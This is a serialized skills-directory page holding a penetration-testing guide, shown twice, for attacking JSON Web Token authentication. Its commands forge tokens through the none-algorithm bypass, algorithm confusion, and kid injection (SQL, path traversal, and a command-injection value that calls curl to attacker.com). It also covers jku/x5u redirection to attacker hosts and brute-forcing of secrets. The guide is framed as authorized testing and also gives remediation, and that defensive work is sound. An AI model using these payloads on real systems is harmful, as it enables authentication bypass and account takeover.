[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AGB3GFPDADE5QFZZ9BNG58":3,"skill-same:01M6AGB3GFPDADE5QFZZ9BNG58":118},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":8,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":18,"categories":19,"keywords":30,"publishedAt":51,"linkOnly":52,"markdownContent":53,"markdownBody":54,"frontMatter":55,"refName":73,"commitSha":74,"skillDirectory":75,"forksCount":76,"repositoryHtmlUrl":77,"repositoryHomepageUrl":78,"ownerHtmlUrl":79,"ownerBlogUrl":80,"ownerDescription":81,"updatedAt":82,"install":83,"resources":96},"01M6AGB3GFPDADE5QFZZ9BNG58","testing-for-json-web-token-vulnerabilities","JWT 令牌漏洞测试","Tests JWT implementations for algorithm confusion, \"none\" algorithm bypass, kid\u002Fjku parameter injection, and weak secret exploitation using jwt_tool and Burp Suite's JWT Editor extension, aiming to achieve authentication bypass and privilege escalation. Use when assessing JWT-based auth\u002Fsession management, OAuth2\u002FOIDC token handling, or SSO systems during a security engagement.","使用 jwt_tool 和 Burp Suite 的 JWT Editor 扩展测试 JWT 实现，涵盖算法混淆、“none” 算法绕过、kid\u002Fjku 参数注入以及弱密钥利用，目标是实现身份验证绕过和权限提升。适用于安全服务中基于 JWT 的身份验证／会话管理、OAuth2\u002FOIDC 令牌处理或 SSO 系统的评估。","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36146,"Apache-2.0",null,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-json-web-token-vulnerabilities\u002FSKILL.md",[20,25],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},"01M8BR4MYFKGCC4WCWVJ50KJ2C","安全工程师","PROFESSION","适用职业",{"categoryNo":26,"categoryName":27,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C7NMKVVN7CCC4BCVAW8B18","渗透测试与红队行动","SCENARIO","使用场景",[31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50],"testing for json web token vulnerabilities","vulnerabilities","web","testing","authentication-bypass","jku-attack","kid-injection","json-web-token","application-security","t1505","injection","t1059","web-application-security","escalation","sso","authentication","pr","auth","cybersecurity","security","2026-11-10 10:12:30",false,"---\nname: testing-for-json-web-token-vulnerabilities\ndescription: Tests JWT implementations for algorithm confusion, \"none\" algorithm bypass,\n  kid\u002Fjku parameter injection, and weak secret exploitation using jwt_tool and Burp Suite's\n  JWT Editor extension, aiming to achieve authentication bypass and privilege escalation.\n  Use when assessing JWT-based auth\u002Fsession management, OAuth2\u002FOIDC token handling, or\n  SSO systems during a security engagement.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- jwt\n- json-web-token\n- algorithm-confusion\n- authentication-bypass\n- token-forgery\n- kid-injection\n- jku-attack\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1068\n---\n\n# Testing for JSON Web Token Vulnerabilities\n\n## When to Use\n- When testing applications using JWT for authentication and session management\n- During API security assessments where JWTs are used for authorization\n- When evaluating OAuth 2.0 or OpenID Connect implementations using JWT\n- During penetration testing of single sign-on (SSO) systems\n- When auditing JWT library configurations for known vulnerabilities\n\n## Prerequisites\n- jwt_tool (Python JWT exploitation toolkit)\n- Burp Suite with JWT Editor extension\n- jwt.io for decoding and inspecting JWT structure\n- Understanding of JWT structure (header.payload.signature) and algorithms (HS256, RS256)\n- hashcat or john for brute-forcing weak JWT secrets\n- Python PyJWT library for custom JWT forging scripts\n- Access to application using JWT-based authentication\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Decode and Analyze JWT Structure\n```bash\n# Install jwt_tool\npip install pyjwt\ngit clone https:\u002F\u002Fgithub.com\u002Fticarpi\u002Fjwt_tool.git\n\n# Decode JWT without verification\npython3 jwt_tool.py \u003CJWT_TOKEN>\n\n# Decode manually with base64\necho \"\u003Cheader_base64>\" | base64 -d\necho \"\u003Cpayload_base64>\" | base64 -d\n\n# Examine JWT in jwt.io\n# Check: algorithm (alg), key ID (kid), issuer (iss), audience (aud)\n# Check: expiration (exp), not-before (nbf), claims (role, admin, etc.)\n\n# Example JWT header inspection\n# {\"alg\":\"RS256\",\"typ\":\"JWT\",\"kid\":\"key-1\"}\n# Look for: alg, kid, jku, jwk, x5u, x5c headers\n```\n\n### Step 2 — Test \"None\" Algorithm Bypass\n```bash\n# Change algorithm to \"none\" and remove signature\npython3 jwt_tool.py \u003CJWT_TOKEN> -X a\n\n# Manual none algorithm attack:\n# Original header: {\"alg\":\"HS256\",\"typ\":\"JWT\"}\n# Modified header: {\"alg\":\"none\",\"typ\":\"JWT\"}\n# Encode new header, keep payload, remove signature (empty string after last dot)\n\n# Variations to try:\n# \"alg\": \"none\"\n# \"alg\": \"None\"\n# \"alg\": \"NONE\"\n# \"alg\": \"nOnE\"\n\n# Send forged token\ncurl -H \"Authorization: Bearer \u003CFORGED_TOKEN>\" http:\u002F\u002Ftarget.com\u002Fapi\u002Fadmin\n\n# jwt_tool automated none attack\npython3 jwt_tool.py \u003CJWT_TOKEN> -X a -I -pc role -pv admin\n```\n\n### Step 3 — Test Algorithm Confusion (RS256 to HS256)\n```bash\n# If server uses RS256, attempt to switch to HS256 using public key as HMAC secret\n\n# Step 1: Obtain the public key\n# From JWKS endpoint\ncurl http:\u002F\u002Ftarget.com\u002F.well-known\u002Fjwks.json\n\n# From SSL certificate\nopenssl s_client -connect target.com:443 \u003C\u002Fdev\u002Fnull 2>\u002Fdev\u002Fnull | \\\n  openssl x509 -pubkey -noout > public_key.pem\n\n# Step 2: Forge token using public key as HMAC secret\npython3 jwt_tool.py \u003CJWT_TOKEN> -X k -pk public_key.pem\n\n# Manual algorithm confusion:\n# Change header from {\"alg\":\"RS256\"} to {\"alg\":\"HS256\"}\n# Sign with public key using HMAC-SHA256\npython3 -c \"\nimport jwt\nwith open('public_key.pem', 'r') as f:\n    public_key = f.read()\npayload = {'sub': 'admin', 'role': 'admin', 'iat': 1700000000, 'exp': 1900000000}\ntoken = jwt.encode(payload, public_key, algorithm='HS256')\nprint(token)\n\"\n```\n\n### Step 4 — Test Key ID (kid) Parameter Injection\n```bash\n# SQL Injection via kid\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc kid -hv \"' UNION SELECT 'secret-key' FROM dual--\" \\\n  -S hs256 -p \"secret-key\"\n\n# Path Traversal via kid\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc kid -hv \"..\u002F..\u002Fdev\u002Fnull\" \\\n  -S hs256 -p \"\"\n\n# Kid pointing to empty file (sign with empty string)\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc kid -hv \"\u002Fdev\u002Fnull\" -S hs256 -p \"\"\n\n# SSRF via kid (if kid fetches remote key)\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc kid -hv \"http:\u002F\u002Fattacker.com\u002Fkey\"\n\n# Command injection via kid (rare but possible)\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc kid -hv \"key1|curl attacker.com\"\n```\n\n### Step 5 — Test JKU\u002FX5U Header Injection\n```bash\n# JKU (JSON Web Key Set URL) injection\n# Point jku to attacker-controlled JWKS\n# Step 1: Generate key pair\npython3 jwt_tool.py \u003CJWT_TOKEN> -X s\n\n# Step 2: Host JWKS on attacker server\n# jwt_tool generates jwks.json - host it at http:\u002F\u002Fattacker.com\u002F.well-known\u002Fjwks.json\n\n# Step 3: Modify JWT header to point to attacker JWKS\npython3 jwt_tool.py \u003CJWT_TOKEN> -X s -ju \"http:\u002F\u002Fattacker.com\u002F.well-known\u002Fjwks.json\"\n\n# X5U (X.509 certificate URL) injection\n# Similar to JKU but using X.509 certificate chain\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc x5u -hv \"http:\u002F\u002Fattacker.com\u002Fcert.pem\"\n\n# Embedded JWK attack (inject key in JWT header itself)\npython3 jwt_tool.py \u003CJWT_TOKEN> -X i\n```\n\n### Step 6 — Brute-Force Weak JWT Secrets\n```bash\n# Brute-force HMAC secret with hashcat\nhashcat -a 0 -m 16500 \u003CJWT_TOKEN> \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Using jwt_tool wordlist attack\npython3 jwt_tool.py \u003CJWT_TOKEN> -C -d \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Using john the ripper\necho \"\u003CJWT_TOKEN>\" > jwt.txt\njohn jwt.txt --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt --format=HMAC-SHA256\n\n# Common weak secrets to try:\n# secret, password, 123456, admin, test, key, jwt_secret\n# Also try: application name, company name, domain name\n\n# Once secret is found, forge arbitrary tokens\npython3 jwt_tool.py \u003CJWT_TOKEN> -S hs256 -p \"discovered_secret\" \\\n  -I -pc role -pv admin -pc sub -pv \"admin@target.com\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Algorithm Confusion | Switching from asymmetric (RS256) to symmetric (HS256) using public key as secret |\n| None Algorithm | Setting alg to \"none\" to create unsigned tokens accepted by misconfigured servers |\n| Kid Injection | Exploiting the Key ID header parameter for SQLi, path traversal, or SSRF |\n| JKU\u002FX5U Injection | Pointing key source URLs to attacker-controlled servers for key substitution |\n| Weak Secret | HMAC secrets that can be brute-forced using dictionary attacks |\n| Claim Tampering | Modifying payload claims (role, sub, admin) after bypassing signature verification |\n| Token Replay | Reusing valid JWTs after the intended session should have expired |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| jwt_tool | Comprehensive JWT testing and exploitation toolkit |\n| JWT Editor (Burp) | Burp Suite extension for JWT manipulation and attack automation |\n| hashcat | GPU-accelerated JWT secret brute-forcing (mode 16500) |\n| john the ripper | CPU-based JWT secret cracking |\n| jwt.io | Online JWT decoder and debugger for inspection |\n| PyJWT | Python library for programmatic JWT creation and verification |\n\n## Common Scenarios\n\n1. **None Algorithm Bypass** — Change JWT algorithm to \"none\", remove signature, and forge admin tokens on servers that accept unsigned JWTs\n2. **Algorithm Confusion RCE** — Switch RS256 to HS256 using leaked public key to forge arbitrary tokens for administrative access\n3. **Kid SQL Injection** — Inject SQL payload in kid parameter to extract the signing key from the database\n4. **Weak Secret Cracking** — Brute-force HMAC-SHA256 secrets using hashcat to forge arbitrary JWTs for any user\n5. **JKU Server Spoofing** — Point JKU header to attacker-controlled JWKS endpoint to sign tokens with attacker's private key\n\n## Output Format\n\n```\n## JWT Security Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **JWT Algorithm**: RS256 (claimed)\n- **JWKS Endpoint**: http:\u002F\u002Ftarget.com\u002F.well-known\u002Fjwks.json\n\n### Findings\n| # | Vulnerability | Technique | Impact | Severity |\n|---|--------------|-----------|--------|----------|\n| 1 | None algorithm accepted | alg: \"none\" | Auth bypass | Critical |\n| 2 | Algorithm confusion | RS256 -> HS256 | Token forgery | Critical |\n| 3 | Weak HMAC secret | Brute-force: \"secret123\" | Full token forgery | Critical |\n| 4 | Kid path traversal | kid: \"..\u002F..\u002Fdev\u002Fnull\" | Sign with empty key | High |\n\n### Remediation\n- Enforce algorithm whitelist in JWT verification (reject \"none\")\n- Use asymmetric algorithms (RS256\u002FES256) with proper key management\n- Implement strong, random secrets for HMAC algorithms (256+ bits)\n- Validate kid parameter against a strict allowlist\n- Ignore jku\u002Fx5u headers or validate against known endpoints\n- Set appropriate token expiration (exp) and implement token revocation\n```\n","# Testing for JSON Web Token Vulnerabilities\n\n## When to Use\n- When testing applications using JWT for authentication and session management\n- During API security assessments where JWTs are used for authorization\n- When evaluating OAuth 2.0 or OpenID Connect implementations using JWT\n- During penetration testing of single sign-on (SSO) systems\n- When auditing JWT library configurations for known vulnerabilities\n\n## Prerequisites\n- jwt_tool (Python JWT exploitation toolkit)\n- Burp Suite with JWT Editor extension\n- jwt.io for decoding and inspecting JWT structure\n- Understanding of JWT structure (header.payload.signature) and algorithms (HS256, RS256)\n- hashcat or john for brute-forcing weak JWT secrets\n- Python PyJWT library for custom JWT forging scripts\n- Access to application using JWT-based authentication\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Decode and Analyze JWT Structure\n```bash\n# Install jwt_tool\npip install pyjwt\ngit clone https:\u002F\u002Fgithub.com\u002Fticarpi\u002Fjwt_tool.git\n\n# Decode JWT without verification\npython3 jwt_tool.py \u003CJWT_TOKEN>\n\n# Decode manually with base64\necho \"\u003Cheader_base64>\" | base64 -d\necho \"\u003Cpayload_base64>\" | base64 -d\n\n# Examine JWT in jwt.io\n# Check: algorithm (alg), key ID (kid), issuer (iss), audience (aud)\n# Check: expiration (exp), not-before (nbf), claims (role, admin, etc.)\n\n# Example JWT header inspection\n# {\"alg\":\"RS256\",\"typ\":\"JWT\",\"kid\":\"key-1\"}\n# Look for: alg, kid, jku, jwk, x5u, x5c headers\n```\n\n### Step 2 — Test \"None\" Algorithm Bypass\n```bash\n# Change algorithm to \"none\" and remove signature\npython3 jwt_tool.py \u003CJWT_TOKEN> -X a\n\n# Manual none algorithm attack:\n# Original header: {\"alg\":\"HS256\",\"typ\":\"JWT\"}\n# Modified header: {\"alg\":\"none\",\"typ\":\"JWT\"}\n# Encode new header, keep payload, remove signature (empty string after last dot)\n\n# Variations to try:\n# \"alg\": \"none\"\n# \"alg\": \"None\"\n# \"alg\": \"NONE\"\n# \"alg\": \"nOnE\"\n\n# Send forged token\ncurl -H \"Authorization: Bearer \u003CFORGED_TOKEN>\" http:\u002F\u002Ftarget.com\u002Fapi\u002Fadmin\n\n# jwt_tool automated none attack\npython3 jwt_tool.py \u003CJWT_TOKEN> -X a -I -pc role -pv admin\n```\n\n### Step 3 — Test Algorithm Confusion (RS256 to HS256)\n```bash\n# If server uses RS256, attempt to switch to HS256 using public key as HMAC secret\n\n# Step 1: Obtain the public key\n# From JWKS endpoint\ncurl http:\u002F\u002Ftarget.com\u002F.well-known\u002Fjwks.json\n\n# From SSL certificate\nopenssl s_client -connect target.com:443 \u003C\u002Fdev\u002Fnull 2>\u002Fdev\u002Fnull | \\\n  openssl x509 -pubkey -noout > public_key.pem\n\n# Step 2: Forge token using public key as HMAC secret\npython3 jwt_tool.py \u003CJWT_TOKEN> -X k -pk public_key.pem\n\n# Manual algorithm confusion:\n# Change header from {\"alg\":\"RS256\"} to {\"alg\":\"HS256\"}\n# Sign with public key using HMAC-SHA256\npython3 -c \"\nimport jwt\nwith open('public_key.pem', 'r') as f:\n    public_key = f.read()\npayload = {'sub': 'admin', 'role': 'admin', 'iat': 1700000000, 'exp': 1900000000}\ntoken = jwt.encode(payload, public_key, algorithm='HS256')\nprint(token)\n\"\n```\n\n### Step 4 — Test Key ID (kid) Parameter Injection\n```bash\n# SQL Injection via kid\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc kid -hv \"' UNION SELECT 'secret-key' FROM dual--\" \\\n  -S hs256 -p \"secret-key\"\n\n# Path Traversal via kid\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc kid -hv \"..\u002F..\u002Fdev\u002Fnull\" \\\n  -S hs256 -p \"\"\n\n# Kid pointing to empty file (sign with empty string)\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc kid -hv \"\u002Fdev\u002Fnull\" -S hs256 -p \"\"\n\n# SSRF via kid (if kid fetches remote key)\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc kid -hv \"http:\u002F\u002Fattacker.com\u002Fkey\"\n\n# Command injection via kid (rare but possible)\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc kid -hv \"key1|curl attacker.com\"\n```\n\n### Step 5 — Test JKU\u002FX5U Header Injection\n```bash\n# JKU (JSON Web Key Set URL) injection\n# Point jku to attacker-controlled JWKS\n# Step 1: Generate key pair\npython3 jwt_tool.py \u003CJWT_TOKEN> -X s\n\n# Step 2: Host JWKS on attacker server\n# jwt_tool generates jwks.json - host it at http:\u002F\u002Fattacker.com\u002F.well-known\u002Fjwks.json\n\n# Step 3: Modify JWT header to point to attacker JWKS\npython3 jwt_tool.py \u003CJWT_TOKEN> -X s -ju \"http:\u002F\u002Fattacker.com\u002F.well-known\u002Fjwks.json\"\n\n# X5U (X.509 certificate URL) injection\n# Similar to JKU but using X.509 certificate chain\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc x5u -hv \"http:\u002F\u002Fattacker.com\u002Fcert.pem\"\n\n# Embedded JWK attack (inject key in JWT header itself)\npython3 jwt_tool.py \u003CJWT_TOKEN> -X i\n```\n\n### Step 6 — Brute-Force Weak JWT Secrets\n```bash\n# Brute-force HMAC secret with hashcat\nhashcat -a 0 -m 16500 \u003CJWT_TOKEN> \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Using jwt_tool wordlist attack\npython3 jwt_tool.py \u003CJWT_TOKEN> -C -d \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Using john the ripper\necho \"\u003CJWT_TOKEN>\" > jwt.txt\njohn jwt.txt --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt --format=HMAC-SHA256\n\n# Common weak secrets to try:\n# secret, password, 123456, admin, test, key, jwt_secret\n# Also try: application name, company name, domain name\n\n# Once secret is found, forge arbitrary tokens\npython3 jwt_tool.py \u003CJWT_TOKEN> -S hs256 -p \"discovered_secret\" \\\n  -I -pc role -pv admin -pc sub -pv \"admin@target.com\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Algorithm Confusion | Switching from asymmetric (RS256) to symmetric (HS256) using public key as secret |\n| None Algorithm | Setting alg to \"none\" to create unsigned tokens accepted by misconfigured servers |\n| Kid Injection | Exploiting the Key ID header parameter for SQLi, path traversal, or SSRF |\n| JKU\u002FX5U Injection | Pointing key source URLs to attacker-controlled servers for key substitution |\n| Weak Secret | HMAC secrets that can be brute-forced using dictionary attacks |\n| Claim Tampering | Modifying payload claims (role, sub, admin) after bypassing signature verification |\n| Token Replay | Reusing valid JWTs after the intended session should have expired |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| jwt_tool | Comprehensive JWT testing and exploitation toolkit |\n| JWT Editor (Burp) | Burp Suite extension for JWT manipulation and attack automation |\n| hashcat | GPU-accelerated JWT secret brute-forcing (mode 16500) |\n| john the ripper | CPU-based JWT secret cracking |\n| jwt.io | Online JWT decoder and debugger for inspection |\n| PyJWT | Python library for programmatic JWT creation and verification |\n\n## Common Scenarios\n\n1. **None Algorithm Bypass** — Change JWT algorithm to \"none\", remove signature, and forge admin tokens on servers that accept unsigned JWTs\n2. **Algorithm Confusion RCE** — Switch RS256 to HS256 using leaked public key to forge arbitrary tokens for administrative access\n3. **Kid SQL Injection** — Inject SQL payload in kid parameter to extract the signing key from the database\n4. **Weak Secret Cracking** — Brute-force HMAC-SHA256 secrets using hashcat to forge arbitrary JWTs for any user\n5. **JKU Server Spoofing** — Point JKU header to attacker-controlled JWKS endpoint to sign tokens with attacker's private key\n\n## Output Format\n\n```\n## JWT Security Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **JWT Algorithm**: RS256 (claimed)\n- **JWKS Endpoint**: http:\u002F\u002Ftarget.com\u002F.well-known\u002Fjwks.json\n\n### Findings\n| # | Vulnerability | Technique | Impact | Severity |\n|---|--------------|-----------|--------|----------|\n| 1 | None algorithm accepted | alg: \"none\" | Auth bypass | Critical |\n| 2 | Algorithm confusion | RS256 -> HS256 | Token forgery | Critical |\n| 3 | Weak HMAC secret | Brute-force: \"secret123\" | Full token forgery | Critical |\n| 4 | Kid path traversal | kid: \"..\u002F..\u002Fdev\u002Fnull\" | Sign with empty key | High |\n\n### Remediation\n- Enforce algorithm whitelist in JWT verification (reject \"none\")\n- Use asymmetric algorithms (RS256\u002FES256) with proper key management\n- Implement strong, random secrets for HMAC algorithms (256+ bits)\n- Validate kid parameter against a strict allowlist\n- Ignore jku\u002Fx5u headers or validate against known endpoints\n- Set appropriate token expiration (exp) and implement token revocation\n```\n",{"name":5,"tags":56,"author":60,"domain":49,"license":16,"version":61,"nist_csf":62,"subdomain":43,"description":7,"mitre_attack":67},[57,38,58,35,59,37,36],"jwt","algorithm-confusion","token-forgery","mahipal","1.0",[63,64,65,66],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[68,69,70,71,72],"T1190","T1059.007","T1505.003","T1083","T1068","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Ftesting-for-json-web-token-vulnerabilities",4425,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":9,"skillName":5,"commands":84,"prompt":94,"zipAvailable":95},[85,88,91],{"tool":86,"command":87},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-for-json-web-token-vulnerabilities",{"tool":89,"command":90},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-for-json-web-token-vulnerabilities",{"tool":92,"command":93},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-for-json-web-token-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-json-web-token-vulnerabilities\u002FSKILL.md",true,[97,102,108,112],{"path":98,"resourceType":98,"resourceTypeDesc":99,"sizeBytes":100,"sourceHtmlUrl":101},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-json-web-token-vulnerabilities\u002FLICENSE",{"path":103,"resourceType":104,"resourceTypeDesc":105,"sizeBytes":106,"sourceHtmlUrl":107},"references\u002Fapi-reference.md","REFERENCE","参考文档",1944,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-json-web-token-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":109,"resourceType":104,"resourceTypeDesc":105,"sizeBytes":110,"sourceHtmlUrl":111},"references\u002Fcomparison-rules.md",5723,"https:\u002F\u002Fgithub.com\u002Fnoirelab\u002Flinux-setup\u002Fblob\u002Fmain\u002Fconfigs\u002Fcommon\u002Fopencode\u002Fskills\u002Fseo-drift\u002Freferences\u002Fcomparison-rules.md",{"path":113,"resourceType":114,"resourceTypeDesc":115,"sizeBytes":116,"sourceHtmlUrl":117},"scripts\u002Fagent.py","SCRIPT","脚本",8063,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-json-web-token-vulnerabilities\u002Fscripts\u002Fagent.py",[119,149,178,209,240,271],{"skillNo":120,"name":121,"nameZh":122,"description":123,"descriptionZh":124,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":125,"categories":126,"keywords":131,"publishedAt":51},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","SLSA 构建来源验证","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","使用 Sigstore 的 cosign（verify、verify-attestation、verify-blob-attestation）和 slsa-verifier（verify-artifact）验证工件签名和 SLSA 来源（provenance），强制校验 keyless OIDC 构建者身份和源仓库是否符合 SLSA Build 级别。适用于 CI\u002FCD 中部署工件前、消费第三方证明时、建立 SLSA Build L3 管道，或在事件响应或准入控制期间确认来源的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[127,128],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":129,"categoryName":130,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C32Q37WAMK06SGMFC02VFP","软件供应链安全",[132,133,134,135,50,49,136,137,47,138,139,140,141,142,143,144,145,146,147,148],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":150,"name":151,"nameZh":152,"description":153,"descriptionZh":154,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":155,"categories":156,"keywords":161,"publishedAt":51},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","TPM 测量启动验证","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","使用 tpm2-tools 验证 TPM 2.0 测量启动（measured boot）的完整性和远程证明：读取 PCR（tpm2_pcrread）、重放启动事件日志、生成并检查签名报价（tpm2_quote\u002Ftpm2_checkquote），以及将机密封印（seal）到 PCR 策略。适用于确认系统已启动可信固件\u002F内核以实现零信任（Zero Trust）设备状态、通过 PCR 漂移检测启动链篡改，或构建黄金值基线用于机群（fleet）证明。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[157,158],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":159,"categoryName":160,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C89JJEXGGRGHS6XVXDA46K","终端安全加固",[162,145,163,164,50,165,49,47,166,167,168,169,170,171,172,173,174,175,176,177],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":179,"name":180,"nameZh":181,"description":182,"descriptionZh":183,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":184,"categories":185,"keywords":192,"publishedAt":51},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","备份完整性验证","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","通过加密哈希验证、自动化恢复测试、损坏检测和可恢复性检查来验证备份完整性，确认备份对于灾难恢复和勒索软件响应是可靠的。适用于在依赖备份进行恢复之前、构建备份后验证管道、审计备份基础设施以满足合规要求，或检查不可变\u002Fair-gapped（气隙）备份是否存在静默损坏或篡改的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[186,189],{"categoryNo":187,"categoryName":188,"taxonomyType":23,"taxonomyTypeDesc":24},"01M8BQGD4WETX0HM3SM9QKQ15B","SRE 工程师",{"categoryNo":190,"categoryName":191,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BSSTY86MWS6W5GDQWB1ADQ","备份与灾难恢复",[172,193,194,195,34,49,196,197,166,198,199,200,201,202,203,204,205,206,207,208],"backup","recovery","validating backup integrity for 